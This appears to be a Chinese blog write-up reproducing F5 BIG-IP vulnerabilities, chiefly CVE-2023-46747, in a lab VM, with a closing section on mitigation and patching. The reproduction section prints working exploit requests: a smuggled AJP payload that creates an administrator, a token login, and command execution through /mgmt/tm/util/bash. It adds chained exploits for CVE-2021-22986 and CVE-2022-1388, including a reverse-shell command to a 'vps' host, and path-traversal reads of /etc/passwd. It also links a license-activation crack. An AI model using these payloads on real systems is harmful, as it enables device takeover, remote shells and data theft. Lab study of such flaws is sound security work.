0x01 简介
F5 BIG-IP是一款由F5 Networks开发的高级应用交付和负载均衡解决方案,用于优化和保护企业应用程序的可用性、性能和安全性。它提供负载均衡、应用性能优化、安全性、高可用性和可扩展性等关键功能,以确保应用程序的稳定运行,满足各种业务需求。
0x02 漏洞概述
漏洞编号:CVE-2023-46747
漏洞成因源于Apache httpd与AJP协议的不一致处理方式,特别是F5自定义的Apache httpd版本存在漏洞。攻击者可以通过发送包含特定”Content-Length”和”Transfer-Encoding”头的请求来控制后端服务器的请求处理流程。
此漏洞在特定条件下允许绕过正常请求处理,尤其在涉及认证交互的场景下可能导致严重后果。攻击者可通过触发漏洞绕过身份验证,执行后台功能,甚至通过串联其他后台漏洞来接管服务器。
0x03 影响版本
F5 BIG-IP <= 17.1.0
16.1.0 <= F5 BIG-IP <= 16.1.4
15.1.0 <= F5 BIG-IP <= 15.1.10
14.1.0 <= F5 BIG-IP <= 14.1.5
13.1.0 <= F5 BIG-IP <= 13.1.5
0x04 环境搭建
通过官网在线下载 注册账号后,即可下载ova
https://my.f5.com/manage/s/downloads?productFamily=BIG-IP&productLine=big-ip_v15.x&version=15.1.8&container=Virtual-Edition&files=BIGIP-15.1.8-0.0.7.ALL-vmware.ova&locations=JAPAN
这里推荐大家看一下csdn上的教程
https://blog.csdn.net/ice_age1/article/details/49998059
选项这里看着选吧,看自己电脑配置
启动后默认账号密码为:
root/default
输入后会让你配置新的账号密码 输入旧密码 default 新密码有密码复杂度 这里设置能记住的复杂点密码就可以了
虚拟机还未license授权 命令行模式下输入“config”,打开Configuration Utility工具。
选择IPv4后设置IP地址
测试IP地址连通性
不通可以看一下虚拟机的网卡配置
教程上直接访问IP就可以,我找半天搁着跟傻子一样 最后netstat -pant
https://192.168.200.88:8443/tmui/login.jsp
设置好IP地址后,建议使用nmap等端口扫描工具扫一下
链接:https://pan.baidu.com/s/1FdWZg9lf7dF109pLxedn7A
提取码:ali4
vmdx合并即可
root,admin/Admin!@#456
也可以自己去百度教程激活 激活码教程
https://blog.csdn.net/weixin_47541459/article/details/125129161
0x05 漏洞复现
访问url:
https://192.168.200.82/tmui/login.jsp
使用burp抓包探测 首先第一步执行/tmui/Control/form
来调用user/create.jsp
在nuclei中的POC用的是
https://github.com/r4pG0r/CVE-2023-46747-POC
构造键值
POST /tmui/login.jsp HTTP/1.1
Host: 192.168.200.82
Content-Type: application/x-www-form-urlencoded
Content-Length: 501
204
?HTTP/1.1?/tmui/Control/form127.0.0.1localhostlocalhostP??Tmui-Dubbuf?BBBBBBBBBBB
REMOTEROLE?0??localhost??admin??q_timenow=a&_timenow_before=&handler=%2ftmui%2fsystem%2fuser%2fcreate&&&form_page=%2ftmui%2fsystem%2fuser%2fcreate.jsp%3f&form_page_before=&hideObjList=&_bufvalue=eIL4RUnSwXYoPUIOGcOFx2o00Xc%3d&_bufvalue_before=&systemuser-hidden=[["Administrator","[All]"]]&systemuser-hidden_before=&name=admin&name_before=&passwd=admin789456&passwd_before=&finished=x&finished_before=?
0
通过账号密码获取到token的值。
POST /mgmt/shared/authn/login HTTP/1.1
Host: 192.168.200.82
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
{"username":"admin", "password":"Admin!@#456"}
"token":"ERFJW7T4V4VIBHG4EAYV24JPYF"
token填到X-F5-Auth-Token
中,再通过/mgmt/tm/util/bash
执行命令
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.200.82
Connection: keep-alive
Content-Length: 22
X-F5-Auth-Token:7F7MJFSB6G7RJSHQL4UB4DLR3B
{"command":"run","utilCmdArgs":"-c whoami"}
附加漏洞
CVE-2021-22986
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.200.82
Connection: close
Content-Length: 39
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token:
Upgrade-Insecure-Requests: 1
Content-Type: application/json
{"command":"run","utilCmdArgs":"-c id"}
CVE-2022-1388
EXP:
https://github.com/horizon3ai/CVE-2022-1388
python.exe .\CVE-2022-1388.py -t 192.168.200.82 -c 'bash -i >& /dev/tcp/vps/6666 0>&1'
还有文件读取等等漏洞
[CVE-2020-5902] [http] [critical] https://192.168.200.82/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
[CVE-2020-5902] [http] [critical] https://192.168.200.82/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release
[CVE-2020-5902] [http] [critical] https://192.168.200.82/hsqldb%0a
[CVE-2021-22986] [http] [critical] https://192.168.200.82/mgmt/tm/util/bash [uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n]
[CVE-2022-1388] [http] [critical] https://192.168.200.82/mgmt/tm/util/bash
0x06 修复方式
临时缓解方案
完全限制对 TMUI 门户的访问,这个门户网站允许管理员通过Web界面配置和管理F5的网络设备和服务,所以本身根本不应该从互联网上访问。包括这篇文章中描述的问题在内,过去三年中 TMUI 门户中有三个未经认证的远程代码执行漏洞。如果需要访问它,请确保 TMUI 门户只能从内部网络或 VPN 连接访问。
升级修复方案
官方已经推出了安全补丁。建议所有受影响的用户尽快访问官方网站(https://my.f5.com/manage/s/article/K000137353),其中提供了详细的修补方案和临时缓解措施,强烈建议按照官方建议安装热更新修补漏洞。
参考链接
https://cn-sec.com/archives/2161733.html https://mp.weixin.qq.com/s/UkA0U91CEBnkO2MRLsLxxA
暂无评论内容